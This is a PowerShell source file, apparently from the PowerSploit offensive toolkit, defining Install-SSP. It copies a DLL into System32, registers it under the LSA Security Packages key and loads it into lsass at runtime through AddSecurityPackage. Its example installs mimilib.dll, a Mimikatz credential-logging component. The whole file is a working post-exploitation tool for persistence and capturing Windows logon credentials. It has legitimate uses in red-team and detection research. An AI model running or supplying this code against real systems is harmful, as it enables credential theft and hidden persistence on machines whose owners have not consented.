function Install-SSP { <# .SYNOPSIS Installs a security support provider (SSP) dll. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Install-SSP installs an SSP dll. Installation involves copying the dll to %windir%\System32 and adding the name of the dll to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. .PARAMETER Remove Specifies the path to the SSP dll you would like to install. .EXAMPLE Install-SSP -Path .\mimilib.dll .NOTES The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll if you are running a 64-bit OS. In order for the SSP dll to be loaded properly into lsass, the dll must export SpLsaModeInitialize. #> [CmdletBinding()] Param ( [ValidateScript({Test-Path (Resolve-Path $_)})] [String] $Path ) $Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.' } # Resolve the full path if a relative path was provided. $FullDllPath = Resolve-Path $Path # Helper function used to determine the dll architecture function local:Get-PEArchitecture { Param ( [Parameter( Position = 0, Mandatory = $True )] [String] $Path ) # Parse PE header to see if binary was compiled 32 or 64-bit $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) [Byte[]] $MZHeader = New-Object Byte[](2) $FileStream.Read($MZHeader,0,2) | Out-Null $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) if ($Header -ne 'MZ') { $FileStream.Close() Throw 'Invalid PE header.' } # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $lfanew = New-Object Byte[](4) # Read offset to the PE Header (will be read in reverse) $FileStream.Read($lfanew,0,4) | Out-Null $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) # Read compiled architecture $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') $FileStream.Close() if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Throw 'Invalid PE header or unsupported architecture.' } if ($Architecture -eq '014C') { Write-Output '32-bit' } elseif ($Architecture -eq '8664') { Write-Output '64-bit' } else { Write-Output 'Other' } } $DllArchitecture = Get-PEArchitecture $FullDllPath $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture if ($DllArchitecture -ne $OSArch) { throw 'The operating system architecture must match the architecture of the SSP dll.' } $Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name # Get the dll filename without the extension. # This will be added to the registry. $DllName = $Dll | % { % {($_ -split '\.')[0]} } # Enumerate all of the currently installed SSPs $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages' if ($SecurityPackages -contains $DllName) { throw "'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages." } # In case you're running 32-bit PowerShell on a 64-bit OS $NativeInstallDir = "$($Env:windir)\Sysnative" if (Test-Path $NativeInstallDir) { $InstallDir = $NativeInstallDir } else { $InstallDir = "$($Env:windir)\System32" } if (Test-Path (Join-Path $InstallDir $Dll)) { throw "$Dll is already installed in $InstallDir." } # If you've made it this far, you are clear to install the SSP dll. Copy-Item $FullDllPath $InstallDir $SecurityPackages += $DllName Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False) $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage', 'secur32.dll', 'Public, Static', [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([String], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $Secur32 = $TypeBuilder.CreateType() if ([IntPtr]::Size -eq 4) { $StructSize = 20 } else { $StructSize = 24 } $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize) $RuntimeSuccess = $True try { $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr) } catch { $HResult = $Error[0].Exception.InnerException.HResult Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))" Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)" $RuntimeSuccess = $False } if ($RuntimeSuccess) { Write-Verbose 'Installation and loading complete!' } else { Write-Verbose 'Installation complete! Reboot for changes to take effect.' } }